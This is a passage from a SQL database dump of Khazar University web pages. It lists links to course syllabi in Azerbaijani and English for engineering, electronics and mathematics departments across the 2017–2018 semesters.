href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Computer_Organization-Ibadat_Mammadov.pdf\">Computer Organization</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Embedded_Systems-Nicat_Ibrahimov.pdf\">Embedded systems</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Internet_Programming-Mahammad_Sharifov.pdf\">Internet&nbsp;Programming</a>  <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Web_Programming_1_CMS_220%5BMahammadSharifov%5D.pdf\">Web&nbsp;Programming 1</a>  <br></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Web_Programming_2_CMS_250%5BMahammadSharifov%5D.pdf\">Web&nbsp;Programming 2</a></strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/%C4%B0nformatikan%C4%B1n_t%C9%99drisi_metodikas%C4%B1-Ibadat_Mammadov.pdf\">Teaching Methods of Informatics in Education</a></strong></p><p><strong><a href=\"http://khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Machine_Learning_Leyla%20Muradkhanli.pdf\">Machine Learning</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Soft_Computing_Leyla__Muradkhanli.pdf\">Soft Computing</a></strong><strong><br></strong></p><p><strong><a href=\"http://khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Fundamentals_of_Computer_Programming_Rashad_Khaligov.pdf\">Fundamentals of\r\nComputer Programming</a> </strong> <br></p><p><strong><a href=\"http://khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Wireless_Communications_Abdul_Salam_Mustafa.pdf\">Wireless Communications</a></strong>&nbsp;</p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Database_Structure_Ismail_Ismailov.pdf\">Data structure</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Data_Structure_and_Algorithms_Seyed_Amir_Hossein_Siahpooshha.pdf\">Data Structure and Algorithms</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Computer_Applications_in_Business_Ismayil_Ismayilov.pdf\">Computer Applications in Business</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Operating_Systems_Abdul_Salam_Mustafa.pdf\">Operating Systems</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Software_Engineering_Seyed_Amir_Hossein_Siahpooshha.pdf\">Software Engineering</a></strong>&nbsp;<br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Syllabus_Computer%20Graphics.pdf\">Computer Graphics</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Introduction_to_Theory_of_Computation_Seyed_Amir_Hossein_Siahpooshha.pdf\">Introduction to Theory of Computation</a></strong></p>  <p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Farman_Mammadov_CV.pdf\">Very\r\nLarge-Scale Integration Circuits and System Design</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Operations_Research_and_Optimization_Ulviyya_Ahmadova.pdf\">Operations Research and Optimization</a></strong><br></p><p><br></p><p><br></p><h3><strong><br></strong></h3><h3><strong>Fall 2017</strong></h3><p><strong><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_Computer_Applications_Ismayilov_IA.pdf\">Computer Application in Engineering&nbsp;1&nbsp;A</a></strong></strong></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/CMS%20202_Computer%20Application%20in%20Engineering%20RKhaligov.docx\"><strong></strong></a></strong></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/CMS%20202_Computer%20Application%20in%20Engineering%20RKhaligov.docx\">Computer Application in Engineering 1&nbsp;B</a><br></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/CMS%20202_Computer%20Application%20in%20Engineering%20RKhaligov.docx\">Computer Application in Engineering&nbsp;1&nbsp;C</a></strong>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_Computer%20Graphics_Fall%202017.docx\">Computer Graphics</a>&nbsp;<a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20Computer%20Organization.pdf\"></a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Web_Programming_1_CMS_220%5BMahammadSharifov%5D.pdf\">Web Programming 1&nbsp;A</a><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Web_Programming_2_CMS_250%5BMahammadSharifov%5D.pdf\"></a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Web_Programming_1_CMS_220%5BMahammadSharifov%5D.pdf\">Web Programming 1&nbsp;B</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Computer_Networks_Syllabus.docx\">Computer Networks 1&nbsp;A&nbsp;</a><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20of%20data%20structure.pdf\"></a><br></strong></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Computer_Networks_Syllabus.docx\"><strong>Computer Networks 1 B</strong><strong></strong></a></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/DBMS_CMS_316%5BMahammadSharifov%5D.pdf\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/DBMS_CMS_316%5BMahammadSharifov%5D.pdf\">Database Management Systems A</a><br></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/DBMS_CMS_316%5BMahammadSharifov%5D.pdf\">Database Management Systems&nbsp;B</a></strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus-Artificial%20Intelligence-F.Takarli.pdf\">Artificial Intelligence</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Software%20Engineering.pdf\">Software Engineering</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Digital%20Logic%20Syllabus.docx\">Digital Logic</a>&nbsp;</strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Design_and_Analysis_of_Algorithms_Fall2017.pdf\">Design and Analysis of Algorithms</a></strong>  &nbsp;<a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20Design%20of%20Modern%20Algorithm.pdf\"></a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Multimedia_Systems_CMS_416%255bMahammadSharifov%255d.pdf\">Multimedia Systems</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_Advanced%20Computer%20Networks_2017.docx\">Advanced computer networks and communications</a>&nbsp;</strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_Advanced%20Data%20Structure_LM.docx\">Advanced Data Structure</a>&nbsp;<a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Internet_Architecture.pdf\"></a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_Parallel%20Computer%20Architecture%20LM.docx\">Parallel Computer Architecture&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus-Advanced%20OOP-F.Takarli.pdf\">Advanced Object Oriented Programming</a><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20of%20Wireless%20communication.pdf\"></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_FM-%20Distributed%20systems.docx\">Distributed Systems</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_FM-%20Optical%20SS.docx\">Optical Signals and Systems</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_Parallel%20Programming_Fall%202017.docx\">Parallel Programming&nbsp;</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/syllabus%20-%20Advanced%20Software%20Engineer.pdf\">Advanced Software Engineering</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_Computer%20Security_Fall%202017.docx\">Computer Security</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/syllabus%20-%20Data%20Mining.pdf\">Data mining</a>&nbsp;</strong></p><p><br></p><p><strong>Spring 2017</strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Computer_Applications_Ismayilov_IA.pdf\">Computer Application in Engineering</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/FundamentalsofComputerProgramming_RK.pdf\">Fundamentals of Computer Programming&nbsp;1 A</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/FundamentalsofComputerProgramming_RK.pdf\">Fundamentals of Computer Programming&nbsp;1 B</a><br></strong></p><p><strong> <a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20Computer%20Organization.pdf\">Computer Organization</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Web_Programming_2_CMS_250%5BMahammadSharifov%5D.pdf\">Web Programming 2 A</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Web_Programming_2_CMS_250%5BMahammadSharifov%5D.pdf\">Web Programming 2 B</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20of%20data%20structure.pdf\">Data Structures </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus_Robotics_Engineering.pdf\">Introduction to Robotics</a></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Operations%20Research%20and%20Optimization%20Spring%202016%20Javad%20Mehri.pdf\">Operations Research</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/Introduction%20to%20Theory%20of%20Computation.pdf\">Introduction to Theory of&nbsp; Computations</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20of%20information%20security.pdf\">Information Security</a>  <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Software%20Engineering.pdf\">Software Engineering  </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus_Soft%20Computing%20Spring%202017%20LM.pdf\">Soft Computing  </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20Design%20of%20Modern%20Algorithm.pdf\">Design and Analysis of Algorithms  </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Multimedia_Systems_CMS_416%5BMahammadSharifov%5D.pdf\">Multimedia Systems   </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Computer%20graphics.pdf\">Computer Graphics&nbsp;</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Internet_Architecture.pdf\">Internet architecture  </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus_Machine%20Learning_LM.pdf\">Machine learning  </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20of%20Wireless%20communication.pdf\">Wireless communication&nbsp;</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus_FM-%20Embedded%20systems.pdf\">Embedded systems&nbsp;</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus_FM-VLSI%20systems.pdf\">VLSI Circuits and System Design&nbsp;</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20Principles%20of%20Programming%20Languages.pdf\">Programming Languages</a></strong></p>'),(3451,2028,'az','Sillabuslar','Sillabuslar','<h3><strong>Yaz 2018</strong></h3><p><a href=\"http://www.khazar.org/files/radio_depart/Basic%20electronics_2018.doc\">Basic electronics</a><br><a href=\"http://www.khazar.org/files/radio_depart/Circuits%20Theory-2017fall.doc\"></a></p><p><a href=\"http://www.khazar.org/files/radio_depart/Electronic%20Systems%20and%20Technology%20-%20Sabuhi%20Qaniyev%2B.doc\">Electronic Systems and Technology</a><br></p><p><a href=\"http://www.khazar.org/files/radio_depart/Farida-2018.%20Kvant%20mexanikas%C4%B1.doc\">Kvant mexanikası</a>  <br></p><p><a href=\"http://www.khazar.org/files/radio_depart/Farida%20spring%20-%202018.%20Auotomatic%20adjustment%20in%20biotechnological%20sytems.doc\">Auotomatic adjustment in biotechnological sytems</a>  <br></p><p><a href=\"http://www.khazar.org/files/radio_depart/Farida%20spring%20-2018.%20Communication%20systems.doc\">Communication systems</a><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>'),(3452,2028,'en','Syllabus','Syllabus','<h3><strong>Spring 2018</strong></h3><p><a href=\"http://www.khazar.org/files/radio_depart/Basic%20electronics_2018.doc\">Basic electronics</a></p><p><a href=\"http://www.khazar.org/files/radio_depart/Electronic%20Systems%20and%20Technology%20-%20Sabuhi%20Qaniyev%2B.doc\">Electronic Systems and Technology</a><a href=\"http://www.khazar.org/files/radio_depart/Circuits%20Theory-2017fall.doc\"></a></p><p><a href=\"http://www.khazar.org/files/radio_depart/Farida-2018.%20Kvant%20mexanikas%C4%B1.doc\">Kvant mexanikası</a></p>  <p><br></p><p><br></p><p><br></p>'),(3453,2029,'az','Sillabuslar','Sillabuslar','<strong></strong><p style=\"background:undefined \"><strong>Yaz 2018</strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%201/Dynamics.pdf\">Dynamics</a></strong></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%201/Machine_element_I.pdf\"><strong>Machine Elements I</strong></a></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%201/Manufacturing_processes.pdf\">Manufacturing Processes</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%201/Material_Science.pdf\">Materials Science</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%201/Strength_of_Material_I.pdf\">Strength of Materials I</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%201/Strength_of_Material_II.pdf\">Strength of Materials II</a></strong></p>  <p><strong><br></strong></p><p><strong><br></strong></p><p><strong>Payız 2017</strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Syllabus-Int%20mechanical%20engineering.doc\">Introduction to Mechanical Engineering</a></strong></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Syllabus-Electrical%20Engin.doc\"><strong>Fundamentals of Electrical Engineering</strong></a><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Syllabus-Int%20Computer%20Programmin.doc\">Fundamentals of Computer programming</a>&nbsp;</strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Syllabus-Fluid%20Mechanics.docx\">Fluid Mechanics</a>&nbsp;</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong>Yaz&nbsp;2017</strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Dynamics.pdf\"><strong>Dynamics</strong></a>  </strong><strong><br></strong></p>'),(3454,2029,'en','Syllabus','Syllabus','<p><strong>Spring 2018</strong></p><p style=\"background:undefined \"><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%201/Dynamics.pdf\">Dynamics</a></strong></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%201/Machine_element_I.pdf\"><strong>Machine Elements I</strong></a></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%201/Manufacturing_processes.pdf\">Manufacturing Processes</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%201/Material_Science.pdf\">Materials Science</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%201/Strength_of_Material_I.pdf\">Strength of Materials I</a>  <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%201/Strength_of_Material_II.pdf\">Strength of Materials II</a></strong><br></p><p><strong><br></strong></p><p><strong>Fall 2017</strong></p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Syllabus-Int%20mechanical%20engineering.doc\">Introduction to Mechanical Engineering</a></strong><br><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Syllabus-Electrical%20Engin.doc\"><strong>Fundamentals of Electrical Engineering</strong></a><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Syllabus-Int%20Computer%20Programmin.doc\">Fundamentals of Computer programming</a>&nbsp;</strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Syllabus-Fluid%20Mechanics.docx\">Fluid Mechanics</a>&nbsp;</strong></p><p><br></p><p><br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong>Spring 2017<br></strong></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Dynamics.pdf\"><strong>Dynamics</strong></a><br><strong></strong></p>'),(3455,2030,'az','Sillabuslar','Sillabuslar','<h3><strong>Yaz 2018</strong></h3><p><strong><a href=\"http://www.khazar.org/files/math_depart/Calculus%201A.pdf\">Calculus 1 A</a></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/math_depart/Calculus_1B.pdf\">Calculus 1 B</a></strong></strong></p><p style=\"background:undefined \"><strong><a href=\"http://www.khazar.org/files/math_depart/Applied_Differential_Equations_Elvin_Ezizbeyov.pdf\">Applied Differential Equations</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/math_depart/Numerical_Analysis_ElvinEzizbeyov.pdf\">Numerical Analysis</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/math_depart/Calculus_2_A_Lala_Jafarova.pdf\">Calculus&nbsp;2 A</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/math_depart/Calculus_2_B_Lala_Jafarova.pdf\"><strong><strong></strong></strong>Calculus 2 B</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/math_depart/Calculus_2_C_Lala_Jafarova.pdf\">Calculus 2 C</a></strong>  <br></p><p><strong><a href=\"http://www.khazar.org/files/math_depart/Differential_Equations_Ibrahim_Nabiyev.pdf\">Differential Equations</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/math_depart/Riyazi_Analiz-1_Ibrahim_Nabiyev.pdf\">Riyazi Analiz&nbsp;1</a><br></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/math_depart/Riyazi_Analiz-2_Nazim_Karimov.pdf\">Riyazi&nbsp;Analiz&nbsp;2</a></strong></strong></p>  <p><strong><strong><br></strong></strong></p><p><strong><strong><br></strong></strong></p><h3><strong>Payız 2017</strong><strong></strong></h3><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Calculus_1A_C_Azizov_2017.docx\">Calculus 1&nbsp;A&nbsp;</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Calculus_1A_C_Azizov_2017.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/%2B%2BSyllabus_Calculus_1B_C_Azizov_2017.docx\">Calculus 1 B&nbsp;</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/%2B%2BSyllabus_Calculus_1B_C_Azizov_2017.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/%2B%2BSyllabus.%20Calculus%201C.%20Cavan%C5%9Fir%20%C6%8Fzizov.%202017_.docx\">Calculus 1 C</a>&nbsp;</strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/files/letters/%2B%2BSyllabus.%20Calculus%202.%20Lala%20Cafarova.%202017.docx\">Calculus 2</a>&nbsp;</strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus.A_D_E%2CAliHuseynli.2017.docx\">Applied Differential Equations</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/%2B%2BSyllabus%2C%20Linear_Algebra%2CAliHuseynli%2C2017.docx\">Applied Linear Algebra</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/%2B%2BSyllabus%2C%20Linear_Algebra%2CAliHuseynli%2C2017.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Discret_Math_Kh_2017-18.doc\">Introduction to Discrete&nbsp;Mathematics</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Discret_Math_Kh_2017-18.doc\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/SyllabusForStatistics-Vusal%20Mammadrzayev-Muhendislik.docx\">Applied Statistical&nbsp;Analysis</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/SyllabusForStatistics-Vusal%20Mammadrzayev-Muhendislik.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Calculus_1A_Sabina_sadigova_2017.docx\">Calculus A</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Calculus_1A_Sabina_sadigova_2017.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Calculus_1B_Sabina_sadigova_2017.docx\">Calculus B</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Calculus_1B_Sabina_sadigova_2017.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_K%C9%99rimov_Nazim_Riyazi_Analiz-1_2017.doc\">Riyazi analiz-1</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_K%C9%99rimov_Nazim_Riyazi_Analiz-1_2017.doc\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Nebiyev_I._Riyazi_Analiz-2._2017.doc\">Riyazi analiz-2</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Nebiyev_I._Riyazi_Analiz-2._2017.doc\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Nebiyev_I._Riyazi_Analiz-4._2017.docx\">Riyazi analiz-4</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Nebiyev_I._Riyazi_Analiz-4._2017.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Analitik_h%C9%99nd%C9%99s%C9%99_Qarayev_t%C9%99rlan_2017_pay%C4%B1z.docx\">Analitik həndəsə</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Analitik_h%C9%99nd%C9%99s%C9%99_Qarayev_t%C9%99rlan_2017_pay%C4%B1z.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Nazim_K%C9%99rimov_X%C9%99tti_C%C9%99br_2017.docx\">Xətti cəbr</a></strong></p><p><a href=\"http://www.khazar.org/files/math_depart/Syllabus-Qarayev%20T%C9%99rlan-%C4%B0btodai%20sinif%20m%C3%BC%C9%99lliml%C9%99ri%20%C3%BC%C3%A7%C3%BCn%20riyaziyyat-2.docx\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/math_depart/Syllabus-Qarayev%20T%C9%99rlan-%C4%B0btodai%20sinif%20m%C3%BC%C9%99lliml%C9%99ri%20%C3%BC%C3%A7%C3%BCn%20riyaziyyat-2.docx\">İbtidai siniflər üçün riyaziyyat-2</a></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Qarayev_T%C9%99rlan_Elementar_riyaziyyat_2017.docx\">Elementar riyaziyyat</a></strong></p><p><a href=\"http://www.khazar.org/files/math_depart/Sillabus%20riyazi%20metodika.docx\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/math_depart/Sillabus%20riyazi%20metodika.docx\">İbtidai siniflərdə riyaziyyatın tədrisi metodikası</a></strong></p><p><strong></strong></p>'),(3456,2030,'en','Syllabus','Syllabus','<h3><strong>Spring 2018</strong></h3><p><strong><a href=\"http://www.khazar.org/files/math_depart/Calculus%201A.pdf\">Calculus 1&nbsp;A</a></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/math_depart/Calculus_1B.pdf\">Calculus 1 B</a></strong></strong></p><p><strong><a href=\"http://www.khazar.org/files/math_depart/Applied_Differential_Equations_Elvin_Ezizbeyov.pdf\">Applied\r\nDifferential Equations</a><br></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/math_depart/Numerical_Analysis_ElvinEzizbeyov.pdf\">Numerical\r\nAnalysis</a><br></strong></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/math_depart/Calculus_2_A_Lala_Jafarova.pdf\">Calculus\r\n2 A</a>  <br></strong></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/math_depart/Calculus_2_B_Lala_Jafarova.pdf\"><strong><strong></strong></strong>Calculus 2 B</a><br></strong></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/math_depart/Calculus_2_C_Lala_Jafarova.pdf\">Calculus 2&nbsp;C</a></strong><br></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/math_depart/Differential_Equations_Ibrahim_Nabiyev.pdf\">Differential Equations</a>  <br></strong></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/math_depart/Riyazi_Analiz-1_Ibrahim_Nabiyev.pdf\">Riyazi Analiz&nbsp;1</a><br></strong></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/math_depart/Riyazi_Analiz-2_Nazim_Karimov.pdf\">Riyazi Analiz 2</a><br></strong></strong></p><p><strong><br></strong></p><p><strong><strong><br></strong></strong></p><h3><strong>Fall 2017</strong></h3><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Calculus_1A_C_Azizov_2017.docx\">Calculus 1 A</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Calculus_1A_C_Azizov_2017.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/%2B%2BSyllabus_Calculus_1B_C_Azizov_2017.docx\">Calculus 1 B</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/%2B%2BSyllabus_Calculus_1B_C_Azizov_2017.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/%2B%2BSyllabus.%20Calculus%201C.%20Cavan%C5%9Fir%20%C6%8Fzizov.%202017_.docx\">Calculus 1 C</a>&nbsp;</strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/files/letters/%2B%2BSyllabus.%20Calculus%202.%20Lala%20Cafarova.%202017.docx\">Calculus 2</a>&nbsp;</strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus.A_D_E%2CAliHuseynli.2017.docx\">Applied Differential Equations</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/%2B%2BSyllabus%2C%20Linear_Algebra%2CAliHuseynli%2C2017.docx\">Applied Linear Algebra</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/%2B%2BSyllabus%2C%20Linear_Algebra%2CAliHuseynli%2C2017.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Discret_Math_Kh_2017-18.doc\">Introduction to Discrete Mathematics</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Discret_Math_Kh_2017-18.doc\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/SyllabusForStatistics-Vusal%20Mammadrzayev-Muhendislik.docx\">Applied Statistical Analysis</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/SyllabusForStatistics-Vusal%20Mammadrzayev-Muhendislik.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Calculus_1A_Sabina_sadigova_2017.docx\">Calculus A</a></strong></p><p><strong><a 